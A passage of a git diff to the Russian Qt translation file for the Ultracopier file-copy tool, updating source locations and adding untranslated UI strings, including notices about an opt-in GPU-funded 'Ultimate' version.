<translation>ошибка</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation>Не поддерживается на этой платформе</translation>
</message>
@@ -412,67 +507,92 @@
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
- <translation>О ultracopier</translation>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
- <translation>На основе Qt. Он обеспечивает передовые копир с более расширенные функции. Это под GPL3.
-Эта версия скомпилирована как версия: %1.</translation>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation>Платформа: %1</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation>О Qt</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation>У аварии</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation>Сохранить отчет об ошибке</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation>закрывать</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation>для http://portableapps.com/</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation>Портативная версия</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation>Нормальная версия</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Для получения дополнительной информации посетите веб-сайт &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
@@ -481,12 +601,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation>Предупреждение</translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation>Тайм-аут в то время как композицию кадра данных из подключенных клиентов</translation>
</message>
@@ -494,22 +614,79 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation>ошибка</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation>Лог-файл уже открыт, ошибки: %1</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Unable to open file to keep the log file, error: %1</source>
- <translation>Не удается открыть файл сохранить файл журнала, ошибка: %1</translation>
+ <translation type="obsolete">Не удается открыть файл сохранить файл журнала, ошибка: %1</translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished">Предупреждение</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
</message>
</context>
<context>
@@ -532,258 +709,347 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation>Копировать двигатель</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation>Темы</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
- <translation>язык:</translation>
- </message>
- <message>
- <location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
- <translation>Автоматически определять язык системы:</translation>
+ <source>Load at the session loading:</source>
+ <translation type="obsolete">Загрузить на заседании загрузки:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
- <translation>Поймать копирования / перемещения по умолчанию:</translation>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
- <translation>Загрузить на заседании загрузки:</translation>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
+ <location filename="../../../OptionDialog.ui" line="312"/>
<source>Name</source>
<translation>имя</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
+ <location filename="../../../OptionDialog.ui" line="317"/>
<source>Version</source>
<translation>версия</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
+ <location filename="../../../OptionDialog.ui" line="327"/>
<source>Language</source>
<translation>язык</translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
<source>Listener</source>
<translation>слушатель</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
<source>Plugin loader</source>
<translation>плагин погрузчика</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
<source>Session loader</source>
<translation>сессия погрузчика</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="117"/>
+ <source>Force the language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="127"/>
+ <source>Replace the default copy and move system</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="141"/>
+ <source>Load at the session loading</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="155"/>
+ <source>When manual open</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation>плагин</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation>добавлять</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation>удаление</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation>информация</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation>Скопируйте двигателя порядке предпочтения:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation>Темы:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation>Не удается загрузить плагин темы</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation>просматривать</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation>Переменные are %time%, %source%, %size%, %destination%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation>Переменные %time%, %path%, %size%, %mtime%, %error%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation>Запись в файл журнала:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Write the transfers:</source>
- <translation>Запись передач:</translation>
+ <translation type="obsolete">Запись передач:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
<source>Write the errors:</source>
- <translation>Пишите ошибки:</translation>
+ <translation type="obsolete">Пишите ошибки:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
<source>Write the folder operations:</source>
- <translation>Write the folder operations:</translation>
+ <translation type="obsolete">Write the folder operations:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
<source>Disabled because you have any SessionLoader plugin</source>
- <translation>Отключено, потому что у вас есть плагин SessionLoader</translation>
+ <translation type="obsolete">Отключено, потому что у вас есть плагин SessionLoader</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation>ничего не делать</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation>Спросите источника папку</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation>Спросите источников в виде файлов</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation>никогда</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation>Когда же источник</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation>Когда же назначения</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation>Когда источника и назначения те же</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation>Когда источника или назначения те же</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation>всегда</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
- <translation>Сохранить журналы, как: </translation>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
- <translation>Эта запись непосредственно файл, когда он получит новую запись, но это может привести к 50% потери производительности</translation>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation>Сохранить журналы, как: </translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
<source>Synchronized log</source>
<translation>Синхронное журнала</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
<source>When manual open:</source>
- <translation>Когда руководство открыто:</translation>
+ <translation type="obsolete">Когда руководство открыто:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
<source>Group the windows when:</source>
- <translation>Группа окна, когда:</translation>
+ <translation type="obsolete">Группа окна, когда:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation>Нет опции для этого плагина</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation>Переменные %path%, %operation%</translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
- <translation>Попробуйте получить переменную, а переменная не найдена: %1 %2</translation>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
+ <translation type="unfinished"></translation>
</message>
</context>
<context>
@@ -824,37 +1090,42 @@ This version is compiled as version: %1.</source>
<translation>Версия:</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
- <translation>Копировать двигателя</translation>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
+ <translation type="unfinished">Копировать двигатель</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation>Языки</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation>слушатель</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
- <translation>плагин погрузчика</translation>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished">плагин погрузчика</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
- <translation>сессия погрузчика</translation>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
+ <translation type="unfinished">сессия погрузчика</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation>Темы</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation>Информация о %1</translation>
</message>
@@ -872,127 +1143,135 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation>informations.xml не доступен</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
<source>informations.xml not found into the plugin</source>
- <translation>informations.xml не нашел в плагине</translation>
+ <translation type="obsolete">informations.xml не нашел в плагине</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation>Зависимости часть неправильно</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation>Зависимости %1 не выполняется, для плагина: %2</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation>удаление: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation>ошибка</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation>информация</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation>%1, вызовет ошибку в строке %2, столбце %3: %4</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation>&quot;package&quot; Корневой тег не найден для XML-файла</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation>Дублированный плагин нашел, уже загружены!</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
<source>English text missing into the informations.xml for the tag: %1</source>
- <translation>Английский текст отсутствует в informations.xml для тега: %1</translation>
+ <translation type="obsolete">Английский текст отсутствует в informations.xml для тега: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation>Тег не найден: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation>Вы уверены, что об удалении &quot;%1&quot; в версии %2?</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation>Ошибка при удалении плагина, пожалуйста, проверьте права на папку:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation>Предыдущая импорта идет ...</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation>Открытое плагин Ultracopier</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation>Ultracopier плагина (*.urc)</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
